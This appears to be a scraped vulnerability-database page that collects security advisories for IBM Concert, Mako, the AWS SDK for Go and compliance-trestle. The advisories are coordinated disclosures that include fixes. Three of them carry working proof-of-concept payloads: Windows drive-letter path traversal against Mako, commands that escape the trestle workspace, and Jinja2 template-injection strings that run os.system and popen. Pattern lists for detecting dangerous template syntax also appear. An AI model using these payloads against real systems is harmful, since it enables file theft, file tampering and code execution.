Where
AND
-Infinity
0
First published (updated )
Advisory
IBM-7292374
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

IBM Concert 1.0 through 3.0.0 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.

1 / 2
Source: MITRE
First published (updated )
Severity
3.7
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

IBM Concert

1 / 2
Source: IBM
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

IBM Concert

1 / 2
Source: IBM
First published (updated )
Severity
3.7
AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

IBM Concert 1.0 through 3.0.0 is vulnerable to Improper Certificate Validation.

1 / 2
Source: MITRE
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

IBM Concert 1.0 through 3.0.0 allows information disclosure through exposure of schema suggestions.

1 / 2
Source: MITRE
First published (updated )
Severity
4
AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

IBM Concert 1.0 through 3.0.0 allows web page cache to be stored locally which can be read by another user on the system.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.

First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary

On Windows, a TemplateLookup URI beginning with a drive designator (e.g. C:/../../secret.txt or C:\..\..\secret.txt) bypasses the directory traversal check in Template.init, allowing reads of files outside the configured template directory.

This is a third, independent instance of the root cause behind CVE-2026-41205 (the // prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator spelling. Neither addressed the other way posixpath and ntpath disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.

Details

The root cause is the same posixpath / os.path mismatch: resolution is done with posixpath, confinement is checked with os.path, which is ntpath on Windows.

mako/lookup.py -- resolution 247: srcfile = posixpath.normpath(posixpath.join(dir, u)) # posixpath, always 248: if os.path.isfile(srcfile): # ntpath on Windows

mako/template.py -- confinement 268: unorm = os.path.normpath(unorm) # ntpath on Windows 269: if unorm.startswith(".."): # never true for a drive URI

posixpath has no concept of a drive, so it treats C: as an ordinary path component; the .. segments pop C: and then escape the template root. ntpath, by contrast, splits the drive off and treats the remainder as rooted, discarding the .. entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:

| URI | ntpath.normpath (what the guard sees) | guard fires | |---|---|---| | //../secret.txt | ..\secret.txt | yes | | \..\secret.txt | ..\secret.txt | yes | | C:/../../secret.txt | C:\secret.txt | no |

Because the guard cannot fire for any URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. posixpath.normpath() saturates excess .. segments at the root rather than erroring, so a URI carrying more .. than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:

template root = <base>/srv/app/templates

'C:/../../../../boot.ini' -> reads <base>/boot.ini 'C:/' + '../'40 + 'etc/hostname' -> reads /etc/hostname (no depth guess) 'C:/../../../../../etc/hostname' -> TopLevelLookupException (wrong depth)

On Windows the equivalent is C:/../../../../../../../../Windows/win.ini, which reads that file for any template root depth. Only a target addressed relative to the template root needs the .. count to be exact; anything reachable from the volume root does not.

Affected code

- mako/template.py: Template.init() URI validation uses os.path.normpath(), which on Windows strips the drive and discards the .. segments before the startswith("..") guard is applied. - mako/lookup.py: TemplateLookup.gettemplate() resolves with posixpath.normpath/posixpath.join, where C: is an ordinary component, then performs the existence check with os.path.isfile().

Reproduction

Windows is emulated with the technique already used by the project's own test suite (test/testtemplate.py:1398-1401):

python import os, ntpath os.path = ntpath

from mako.lookup import TemplateLookup lookup = TemplateLookup(directories=["root/tpl"])

for uri in ["ok.html", "//../../secret.txt", "\\..\\..\\secret.txt", "../../secret.txt", "C:/../../../secret.txt", "C:\\..\\..\\..\\secret.txt", "d:/../../../secret.txt"]: try: t = lookup.gettemplate(uri) print(repr(uri), "-> filename=", t.filename, repr(t.render())) except Exception as e: print(repr(uri), "-> REFUSED", type(e).name)

Against 1.4.1, with a sentinel file written outside the configured directory:

'ok.html' -> root/tpl/ok.html 'OK' (positive control) '//../../secret.txt' -> REFUSED (CVE-2026-41205 fix works) '\..\..\secret.txt' -> REFUSED (CVE-2026-44307 fix works) '../../secret.txt' -> REFUSED 'C:/../../../secret.txt' -> reads the sentinel 'C:\..\..\..\secret.txt' -> reads the sentinel 'd:/../../../secret.txt' -> reads the sentinel

On POSIX the same URIs are refused, because posixpath.normpath keeps C: as an ordinary component and the .. survive to be inspected. The issue is Windows-only.

Note that d:/../../../secret.txt resolves relative to the template root, not to drive D: -- this is not a cross-drive read. Reaching another drive would require a leading .., which ntpath.normpath renders as ..\..\D:\x and the existing guard catches.

Impact

If an application on Windows passes user-controlled template names or include paths to TemplateLookup.gettemplate(), an attacker may load and disclose any file readable by the application process on the same volume as the template directory, not merely files adjacent to it. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.

As with CVE-2026-41205, the URI is not generally reachable through a raw URL path, since a conforming URL normalizer collapses C:/../.. first. The relevant vectors are query strings, form and JSON bodies, route parameters, and <%include file="${...}"/>.

Remediation

Normalize both sides with the same module. The resolution side already commits to posixpath, so the confinement check should as well:

python unorm = posixpath.normpath(self.uri.replace("\\", "/").lstrip("/")) if unorm.startswith(".."): raise exceptions.TemplateLookupException(...)

This closes the drive case for the same reason it closes //: posixpath treats C: as an ordinary component, so the .. segments survive to be inspected. Verified to block all three drive forms with the full test suite passing.

Credit

Reported by Eurico Nicacio under coordinated disclosure.

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

An unrecovered panic in the event stream header decoder in Amazon AWS SDK for Go v2 before release-2026-03-23 might allow an unauthenticated remote actor to terminate the consuming application process via a crafted event stream response frame containing a header value type outside the valid range.

To remediate this issue, users should upgrade to release-2026-03-23 or later, and patch any forked or derivative code.

First published (updated )
Severity
8.4
Path Traversal, SSRF
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

At a glance

- Actor: attacker who controls the -o/--output argument to trestle author {catalog,profile,ssp}-generate (e.g. via a CI pipeline that derives the output directory from repository-controlled data)

- Primitive: attacker-controlled --output value reaches trestleroot / args.output write sink with only isdirectorynameallowed() (parts[0]-only task-name-collision check), not the PathSecurityValidator.validatelocalpath() guard added by the CVE-2026-46345 fix

- Impact: arbitrary-location file write outside the trestle workspace as the process owner (8.4 High; conservative C:N variant 7.7, still High); with --force-overwrite, the attacker-chosen directory is first recursively deleted shutil.rmtree)

- Precondition: attacker influences the -o argument in a CI/automation pipeline or multi-tenant trestle workspace running these generate subcommands

- Fix: call PathSecurityValidator.validatelocalpath(markdownpath, trestleroot) immediately after building markdownpath in catalog.py, ssp.py, and prof.py, mirroring the existing jinja fix

Overview

The remediation for CVE-2026-46345 / GHSA-4q5v-7g7x-j79w ("Arbitrary File Write via Path Traversal in compliance-trestle – jinja") added a new PathSecurityValidator.validatelocalpath() guard and wired it into the jinja command's output path. The identical output = trestleroot / args.output write pattern in the sibling author commands — catalog-generate, profile-generate, and ssp-generate — was not updated. Those commands instead rely on isdirectorynameallowed(), a task-name-collision check that does not stop path traversal: an absolute --output or a --output whose first component is innocuous subdir/../../../...) escapes the trestle workspace and writes generated markdown under an attacker-chosen output root outside the workspace, subject to the invoking process's filesystem permissions.

Impact

Threat model. This is not a claim that a local user harms themselves by intentionally choosing an unsafe -o. The security boundary is crossed when a trusted automation job, CI workflow, shared trestle service, or wrapper invokes one of these subcommands and derives --output from repository-controlled, tenant-controlled, or otherwise untrusted data while expecting trestle to keep generated output inside the workspace. The attacker does not need local shell access to the trestle host; they only need influence over the data that the trusted automation maps into the --output argument.

Primary claim (confirmed): Such an invocation writes control-markdown files outside the trestle workspace — arbitrary-location file write as the process owner. This is runtime-confirmed for catalog-generate: catalog-generate -o /tmp/TRESTLEESCAPEABS produced files outside the workspace on a v4.0.3 install while the same install blocked the equivalent jinja -o with a Security violation error. profile-generate and ssp-generate are source-confirmed siblings (identical trestleroot / args.output join, the same isdirectorynameallowed-only gate, no validatelocalpath call); see Runtime-confirmed scope in the End-to-end verification below.

Destructive variant --force-overwrite, source-confirmed): before generating, the force-overwrite path clears the selected output directory via clearfolder(...) trestle/core/commands/common/cmdutils.py), which performs shutil.rmtree on that directory. Because clearfolder early-returns unless the target is an existing directory, the primitive is recursive deletion of an attacker-selected directory tree outside the workspace (e.g. wiping a directory the process owner can write), not pinpoint deletion of an arbitrary single file. This is the integrity + availability impact behind I:HA:H.

Secondary (conditional) escalation: The affected population extends to every consumer that runs these generate subcommands in a CI/automation pipeline, shared/multi-tenant trestle workspace, or wrapper that forwards an externally supplied name — the same threat model GitHub/the maintainer accepted for CVE-2026-46345. Indirect code execution (e.g. overwriting a script the CI pipeline later invokes) is the bounded escalation beyond the demonstrated file-write primitive.

Technical Details

Source → Transform → Sink → Missing-guard → Result: attacker-controlled --output CLI argument → trestleroot / args.output join in catalog.pyssp.pyprof.py → CatalogAPI.writecatalogasmarkdown() writes files under the resolved path → only isdirectorynameallowed() (parts[0]-only task-name check) applied, not PathSecurityValidator.validatelocalpath() → files written outside the trestle workspace.

The fix is scoped to jinja.py only

Both fix commits 247fcce2…, 7d107b3a…, "add path traversal protection and prevent SSTI in jinja templating") touch only trestle/core/commands/author/jinja.py (+ its tests). The new guard:

python trestle/core/commands/author/jinja.py outputfile = trestleroot / routputfile PathSecurityValidator.validatelocalpath(outputfile, trestleroot) # :229 (and :278, :297)

validatelocalpath trestle/core/remote/security.py:326) is the correct guard — it .resolve()s the path and calls relativeto(trestleroot), rejecting both .. traversal and absolute paths.

The sibling generate commands were not updated

catalog-generate, profile-generate, and ssp-generate build the output path with the same join but never call validatelocalpath. The only check is isdirectorynameallowed:

python trestle/core/commands/author/catalog.py:69 / ssp.py:97 / prof.py:86 (identical in all three) if not fileutils.isdirectorynameallowed(args.output): raise TrestleError(f'{args.output} is not an allowed directory name') ... markdownpath = trestleroot / args.output # catalog.py:90 / prof.py:110 (var markdownpath); ssp.py:111 (var mdpath) — same join

isdirectorynameallowed trestle/common/fileutils.py:95) was designed to stop task names that collide with OSCAL model directories, not traversal. It inspects only parts[0]:

python def isdirectorynameallowed(name: str) -> bool: pathedname = pathlib.Path(name) rootpath = pathedname.parts[0] if rootpath in const.MODELTYPETOMODELDIR.values(): return False # blocks "catalogs", "profiles", ... if rootpath[0] == '.': return False # blocks leading "." (i.e. "../x") if pathedname.suffix != '': return False # blocks names with a file suffix if 'global' in pathedname.parts: return False return True

Two payloads defeat it:

1. Absolute path — --output /tmp/pwned. parts[0] is / (not an OSCAL dir, not .-prefixed, no suffix) → allowed. trestleroot / '/tmp/pwned' collapses to /tmp/pwned (pathlib discards the left operand on absolute join).

2. Non-leading .. — --output subdir/../../../../../../tmp/pwned. parts[0] is subdir (innocuous) → allowed. The .. segments resolve out of the workspace at write time.

The validated value flows unchanged to the write sink with no further sanitisation grep for resolve()/relativeto/validatelocalpath across the catalog write path returns zero hits): ControlContext.generate(..., mdroot=markdownpath, ...) stores it as a dataclass field trestle/core/controlcontext.py:46) and CatalogAPI.writecatalogasmarkdown() calls self.context.mdroot.mkdir(existok=True, parents=True) trestle/core/catalog/catalogapi.py:72) then writes <control-id>.md files under it.

Additional unguarded siblings create, replicate)

trestle create trestle/core/commands/create.py:95, desiredmodeldir = trestleroot / pluralpath / args.output) and trestle replicate replicate.py:90) have no isdirectorynameallowed check at all and accept the same absolute / .. --output. They write a structured OSCAL model file and refuse to overwrite an existing target .exists() raises), so the primitive is create-only there — lower impact than the generate commands, but the same missing-guard root cause. These are flagged as related defense-in-depth sinks sharing the root cause, not as the primary impact claim of this report.

Severity note

Metrics mirror the parent CVE-2026-46345 (8.4, AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). I:HA:H are direct and demonstrated: out-of-workspace file creation, plus recursive shutil.rmtree of an attacker-chosen directory under --force-overwrite. C:H is proposed for consistency with the parent advisory's published score for the same out-of-workspace write boundary; however, the directly demonstrated primitive is write/overwrite rather than file read, so a conservative vector with C:N AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H) yields 7.7, still High. S:U because trestle writes as the invoking user.

Why OSCAL id-validation does not prevent this

OSCAL model ids control.id, group.id) are NCName-validated constr(regex=…)) and cannot contain /, \, or a leading .., so the per-control leaf filenames grp1/ac-1.md) cannot themselves traverse. That validation does not help here: the base output root mdroot = trestleroot / args.output is built from the raw, unconstrained -o/--output CLI string and is joined before those safe leaves. An absolute or non-leading.. -o escapes the workspace, and the NCName-safe leaves are written underneath the escaped root — confirmed by the PoC, where the escape occurs at mdroot /tmp/TRESTLEESCAPEABS) with grp1/ac-1.md written beneath it.

Reproduction

Non-web target (Python CLI). PoC is a command sequence run against a local install of the project's current source (HEAD e22e35bd, reports as v4.0.3) — no vendor infrastructure touched.

Step 1 — Set up a normal trestle workspace with a one-control catalog

bash pip install -e . # editable install of the affected source (v4.0.3) mkdir /tmp/pocws && cd /tmp/pocws trestle init mkdir -p catalogs/mycat python3 - <<'PY' import uuid, json cat = {"catalog":{"uuid":str(uuid.uuid4()), "metadata":{"title":"PoC Catalog","last-modified":"2026-01-01T00:00:00.000+00:00","version":"1.0","oscal-version":"1.0.4"}, "groups":[{"id":"grp1","title":"Group One","controls":[ {"id":"ac-1","title":"PoC Control","parts":[{"id":"ac-1smt","name":"statement","prose":"PoC statement prose."}]}]}]}} json.dump(cat, open("catalogs/mycat/catalog.json","w"), indent=2) PY

Step 2 — Trigger the boundary failure (absolute-path escape)

bash trestle author catalog-generate -n mycat -o /tmp/TRESTLEESCAPEABS ls /tmp/TRESTLEESCAPEABS/grp1/ac-1.md

Recorded output:

text $ ls /tmp/TRESTLEESCAPEABS/grp1/ac-1.md /tmp/TRESTLEESCAPEABS/grp1/ac-1.md # written OUTSIDE /tmp/pocws $ head -3 /tmp/TRESTLEESCAPEABS/grp1/ac-1.md ac-1 - \[Group One\] PoC Control Control Statement

Step 3 — Same escape via non-leading .. (defeats isdirectorynameallowed)

bash trestle author catalog-generate -n mycat -o 'subdir/../../../../../../tmp/TRESTLEESCAPEDOTDOT' ls /tmp/TRESTLEESCAPEDOTDOT/grp1/ac-1.md # -> exists, outside the workspace

Step 4 — Differential: the patched jinja -o is blocked on the SAME install

bash echo 'hello {{ 1+1 }}' > template.j2 trestle author jinja -i template.j2 -o '/tmp/TRESTLEJINJABLOCKED'

Recorded output (fix is active; proves this is an incomplete fix, not an unpatched version):

text ERROR: ... Security violation: Path traversal blocked. Attempted to access "/tmp/TRESTLEJINJABLOCKED" which is outside the trestle workspace "/tmp/pocws" (no file created)

catalog-generate escapes while jinja is blocked → the validatelocalpath remediation was never applied to the generate commands.

End-to-end verification (runtime)

- Lab setup: editable install pip install -e .) of the affected source at HEAD e22e35bd (reports as v4.0.3, the release that contains the GHSA-4q5v jinja fix). import trestle.core.commands.author.catalog resolves to the in-tree source file, confirming the run exercises HEAD, not a stale wheel.

- Observed end-to-end effect (not an intermediate return value): files physically written outside the workspace — /tmp/TRESTLEESCAPEABS/grp1/ac-1.md and /tmp/TRESTLEESCAPEDOTDOT/grp1/ac-1.md — while /tmp/pocws (the trestle root) contained no such directory. Confirmed by findls.

- Differential control: the same install rejects the equivalent jinja -o with Security violation: Path traversal blocked … outside the trestle workspace, writing nothing. The guard exists and works in jinja; it is simply absent from the generate commands.

- Guard bypass, isolated: importing isdirectorynameallowed semantics and joining via pathlib confirms -o /tmp/pwned (absolute) and -o subdir/../../../tmp/pwned (innocuous leading component) both pass the check and resolve outside the root, while the naive -o ../../tmp/pwned is the only form the check stops.

- Runtime-confirmed scope (what was executed vs source-confirmed): the write escape is runtime-confirmed for catalog-generate (Steps 2–4 above). profile-generate and ssp-generate are source-confirmed siblings — same trestleroot / args.output join prof.py:110, ssp.py:111), same isdirectorynameallowed-only gate prof.py:86, ssp.py:97), no validatelocalpath — and should be fixed in the same patch. The --force-overwrite recursive-delete primitive clearfolder → shutil.rmtree, with an early return unless the target is an existing directory) is source-confirmed; the PoC above exercises the write escape, not -fo.

Suggested Fix

Root-cause fix: Mirror the jinja fix in the three generate commands (and, for completeness, createreplicate): after constructing the output path, call the existing guard before any mkdir/write.

python catalog.py / ssp.py / prof.py, immediately after markdownpath = trestleroot / args.output from trestle.core.remote.security import PathSecurityValidator PathSecurityValidator.validatelocalpath(markdownpath, trestleroot)

isdirectorynameallowed() should be retained for its original purpose (OSCAL-dir-collision prevention) but must not be relied on for traversal defence.

Defense-in-depth: Harden isdirectorynameallowed to reject absolute paths pathedname.isabsolute()) and any .. component so it provides a secondary layer even if the primary validatelocalpath call is accidentally omitted in future.

References

- Vendor security policy: https://github.com/oscal-compass/compliance-trestle/security/policy

- Submission endpoint: https://github.com/oscal-compass/compliance-trestle/security/advisories/new

- Parent advisory (incompletely fixed): GHSA-4q5v-7g7x-j79w / CVE-2026-46345 — "Arbitrary File Write via Path Traversal in compliance-trestle – jinja"

- Coordinated disclosure batch (part of the same PathSecurityValidator remediation): GHSA-gg2g-p7xc-qqmm (SSTI RCE), GHSA-g3vg-vx23-3858 (cache path traversal), GHSA-mj4x-vf5c-5xg8 (profile-import path traversal read), GHSA-w76h-q7c6-jpjp (SSRF)

- Fix commits (jinja-only scope): 247fcce289f60103f3d8e28d8ec51a6986b94fb6, 7d107b3ac53caca7bde97a6278b23cd739d94525

- Affected sinks: trestle/core/commands/author/catalog.py:69,90; author/ssp.py:97,111; author/prof.py:86,110; bypassed guard trestle/common/fileutils.py:95; write sink trestle/core/catalog/catalogapi.py:72; unused-here correct guard trestle/core/remote/security.py:326

- Additional unguarded siblings: trestle/core/commands/create.py:95, trestle/core/commands/replicate.py:90

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
Code Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Compliance-trestle (Trestle) is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions prior to 3.12.4 and 4.0.0 through 4.0.3, the custom Jinja2 include tags mdsectioninclude and mdcleaninclude re-parse the content of an included Markdown file as Jinja2 template code in a non-sandboxed environment, allowing server-side template injection that can lead to arbitrary code execution. The MDSectionInclude and MDCleanInclude tags in Trestle/core/jinja/tags.py pass included file content to Parser(self.environment, ...).parse(), splicing it into the host template's compilation, and the environment is a plain jinja2.Environment rather than a SandboxedEnvironment, so any expressions in the file are evaluated with full access to the usual SSTI gadget chain. Because Trestle's Markdown writers emit OSCAL prose and component-description fields verbatim, applying delimiter neutralization only to parameter tables, attacker-controlled OSCAL data such as a control statement, part prose, or component description containing Jinja2 syntax flows into an included Markdown file and is executed when the include tag re-parses it. This issue is fixed in version 4.1.0.

1 / 2
Source: MITRE
First published (updated )
Severity
7.8
Code Injection, Input Validation
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact

A Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle's Jinja2 rendering pipeline due to a systemic pattern: untrusted data is re-parsed as Jinja2 template source code without sandboxing. This advisory tracks the root cause across all affected code paths.

The core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to Parser.parse() or an equivalent rendering cycle, without using SandboxedEnvironment or escaping Jinja2 syntax delimiters. Because jinja2.Environment (not SandboxedEnvironment) is used, injected expressions can traverse Python object chains (class.mro, globals, subclasses()) to achieve arbitrary command execution via os.system() or subprocess.

Previously fixed instance (historical context):

An earlier version of rendertemplate() in trestle/core/commands/author/jinja.py implemented a recursive while loop: rendered output was loaded via DictLoader into a new Environment and re-rendered until convergence. This allowed an attacker to inject {{ namespace.init.globals.os.system('command') }} into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., Title: {{ ssp.metadata.title }}), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. This specific code path was fixed — rendertemplate() now performs a single template.render(lut) call.

Still-vulnerable code paths (this advisory):

1. MDCleanInclude.parse() — trestle/core/jinja/tags.py:148-151: Markdown file content is loaded via FileSystemLoader.getsource(), then re-parsed as Jinja2 source via Parser(self.environment, content).parse().

2. MDSectionInclude.parse() — trestle/core/jinja/tags.py:100-103: Extracted Markdown section text (mdsection.content.rawtext) is re-parsed as Jinja2 source via Parser(self.environment, rawtext).parse().

3. MDDatestamp.parse() — trestle/core/jinja/tags.py:198-201: Date string is re-parsed; lower risk because the date string is internally generated from strftime() rather than user input.

All three paths share the identical root cause: data that should be treated as plain text is passed to Parser.parse() and executed as Jinja2 code in an un-sandboxed Environment.

Attack vectors:

- Path A (Markdown include): Attacker places a malicious .md file with embedded Jinja2 payload in the trestle workspace. When {% mdcleaninclude "malicious.md" %} or {% mdsectioninclude %} is processed, the payload executes. - Path B (Data field injection — SSP/LUT): Attacker crafts an SSP document or YAML LUT where a data field value (e.g., metadata.title) contains {{ namespace.init.globals.os.system('id') }}. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.

The same globals.os.system() RCE technique demonstrated in the previously-fixed rendertemplate vulnerability applies to the remaining re-parsing paths.

Workarounds

1. Disable vulnerable tags: Remove MDCleanInclude and MDSectionInclude from the Jinja2 extensions list in trestle/core/jinja/ext.py:32 if markdown includes are not required. 2. Audit included Markdown files: Review all Markdown files referenced by {% mdcleaninclude %} and {% mdsectioninclude %} tags for unexpected Jinja2 syntax ({{ }}, {% %}, {# #}). 3. Scan data sources: Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns. 4. Restrict workspace write access: Ensure only trusted users can add or modify files in trestle workspace directories. 5. Pre-commit hook: Add a pre-commit hook to scan .md, .json, .yaml files for Jinja2 syntax patterns ({{ namespace, {% for, globals, class, mro, subclasses, os.system, subprocess) and block commits containing them. 6. CI/CD isolation: If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.

Attack Path (Validation Evidence)

Path A: via {% mdcleaninclude %} tag

[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md ↓ main() → JinjaCmd.run(args) [trestle/core/commands/author/jinja.py:108] ↓ [Setup] JinjaCmd.jinjaify(trestleroot, inputpath, ...) [jinja.py:178] ↓ jinjaenv = JinjaCmd.createjinjaenvironment(templatefolder) [jinja.py:192] ↓ template = jinjaenv.gettemplate(str(rinputfile)) [jinja.py:193] ↓ output = JinjaCmd.rendertemplate(template, lut, templatefolder) [jinja.py:225] ↓ [Render] Jinja2 engine encounters {% mdcleaninclude "malicious.md" %} ↓ [Tag Handler] MDCleanInclude.parse(parser) [tags.py:115] ↓ markdownsource = "malicious.md" [tags.py:127] ↓ self.environment.loader.getsource(self.environment, "malicious.md") [tags.py:139] ↓ ← Loads file content from workspace directory (no restrictions on content) ↓ frontmatter.loads(mdcontent) → fm.content [tags.py:140-141] ↓ ← NO SANITIZATION: Markdown body assigned directly to content variable [SINK] localparser = Parser(self.environment, content) [tags.py:148] ↓ ← Markdown content parsed as Jinja2 template SOURCE CODE [SINK] topleveloutput = localparser.parse() [tags.py:149] ↓ ← ALL Jinja2 syntax in the .md file is EXECUTED [Impact] SSTI — attacker-controlled Jinja2 code executes in template context

Path B: via {% mdsectioninclude %} tag

[Entry Point] Same as Path A ↓ Jinja2 engine encounters {% mdsectioninclude "doc.md" "Section Title" %} ↓ [Tag Handler] MDSectionInclude.parse(parser) [tags.py:56] ↓ self.environment.loader.getsource(..., markdownsource.value) [tags.py:82] ↓ DocsMarkdownNode.buildtreefrommarkdown(fm.content.split('\n')) [tags.py:86] ↓ fullmd.getnodeforkey(sectiontitle.value) → mdsection [tags.py:87] ↓ ← Extracts specific section from the markdown document [SINK] localparser = Parser(self.environment, mdsection.content.rawtext) [tags.py:100] ↓ ← Section raw text parsed as Jinja2 template SOURCE CODE [SINK] topleveloutput = localparser.parse() [tags.py:101] ↓ ← ALL Jinja2 syntax in the extracted section is EXECUTED [Impact] SSTI — same impact as Path A, limited to a specific markdown section

Taint Flow (Validation Evidence)

Source: User-supplied .md file in trestle workspace (file system) Type: Markdown text file Controllability: FULL — attacker controls entire file content ↓ [Transform 1] FileSystemLoader.getsource() [tags.py:82 or 139] Reads raw file content as string ✓ SANITIZATION: NONE — any content is loaded ↓ [Transform 2] frontmatter.loads(mdcontent) [tags.py:83 or 140] Strips YAML frontmatter, preserves Markdown body ✓ SANITIZATION: NONE — only processes YAML header, ignores body content ↓ [Transform 3] fm.content → content variable [tags.py:141] (Path A) OR mdsection.content.rawtext [tags.py:100] (Path B) Direct string assignment ✓ SANITIZATION: NONE — no filtering, encoding, or validation ↓ [Transform 4] adjustheadinglevel(content, expected) [tags.py:146] (Path A only) Adjusts Markdown heading levels (e.g., ## → ###) ✓ SANITIZATION: NONE — only modifies '#' character count, does not touch Jinja2 syntax ↓ [Sink] Parser(self.environment, taintedstring) [tags.py:100 or 148] Tainted Markdown content is passed to Jinja2 Parser constructor as template source [Sink] localparser.parse() [tags.py:101 or 149] All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed ↓ [Impact] SSTI — Jinja2 code from attacker-controlled Markdown file executes in template context

Sanitization Verdict: ABSENT - No sandboxing: jinja2.Environment used (not SandboxedEnvironment) - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped - No content validation: Markdown body is not scanned for template syntax - autoescape=True is irrelevant: only affects HTML output encoding, not code execution

Proof of Concept

Setup

bash Initialize trestle workspace trestle init

Create malicious markdown file with Jinja2 payload cat > malicious.md << 'EOF' --- yamlheader: ignored ---

Compliance Documentation

Testing SSTI vulnerability: Execute command: {{ ssp.class.init.globals.builtins.import('os').popen('whoami').read() }} EOF

Create trigger template cat > trigger.md.jinja << 'EOF' POC: SSTI via mdcleaninclude tag

{% mdcleaninclude "malicious.md" %} EOF

Create a dummy LUT file cat > empty.yaml << 'EOF' lut: apikey: supersecrettoken12345 dbpassword: P@ssw0rd2024 jwtsecret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 awsaccesskey: AKIAIOSFODNN7EXAMPLE awssecretkey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY internalapi: https://internal.corp.example.com/api/v2/users EOF

Execution

bash trestle init trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml

Observed Output

markdown POC: SSTI via mdcleaninclude tag

Compliance Documentation

Testing SSTI vulnerability: Execute command: root

Expected Result

The rendered output.md will contain the output of the {% for %} loop, revealing all key-value pairs from the lut template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.

Affected Component

- File: trestle/core/jinja/tags.py - Class: MDCleanInclude (lines 106-151) - Class: MDSectionInclude (lines 47-103) - Function: MDCleanInclude.parse() (line 115), MDSectionInclude.parse() (line 56) - Configuring module: trestle/core/commands/author/jinja.py, method createjinjaenvironment() (line 304) - Dependency: Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library

Fix Recommendation

Important: The fix for rendertemplate() (removing the recursive while loop) was a necessary first step, but is not sufficient. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.

Comprehensive Fix Strategy

Step 1 (Root cause fix): Remove all secondary Jinja2 parsing from custom tags where it is not needed:

diff tags.py: MDCleanInclude.parse() — replace lines 148-151: - localparser = Parser(self.environment, content) - topleveloutput = localparser.parse() - return topleveloutput.body + from jinja2 import nodes + return [nodes.Output([nodes.TemplateData(content)])]

diff tags.py: MDSectionInclude.parse() — replace lines 100-103: - localparser = Parser(self.environment, mdsection.content.rawtext) - topleveloutput = localparser.parse() - return topleveloutput.body + from jinja2 import nodes + return [nodes.Output([nodes.TemplateData(mdsection.content.rawtext)])]

Step 2 (Defense in depth): Switch to SandboxedEnvironment in createjinjaenvironment():

diff jinja.py:304-308 — createjinjaenvironment() + from jinja2.sandbox import SandboxedEnvironment - return Environment( + return SandboxedEnvironment( loader=FileSystemLoader(templatefolder), extensions=extensions(), trimblocks=True, autoescape=True )

Step 3 (Input validation): Add validation to reject input data containing Jinja2 syntax:

python jinja.py: add to run() before rendering JINJA2DANGEROUSPATTERNS = [ r'\{\{.globals', r'\{\{.class', r'\{\{.mro', r'\{\{.subclasses', r'\{\{.init', r'\{\{.os\.system', r'\{\{.subprocess', r'\{%\sfor\s', r'\{%\sif\s', ]

def validatedatafield(value: str) -> bool: """Reject data values containing suspicious Jinja2 syntax.""" for pattern in JINJA2DANGEROUSPATTERNS: if re.search(pattern, value): return False return True

Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data

diff # tags.py: before any secondary parsing + import re + def escapejinja2(text: str) -> str: + return re.sub(r'(\{\{|\{%|\{#)', r'\\\1', text) + + content = escapejinja2(content) # apply before Parser() localparser = Parser(self.environment, content)

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

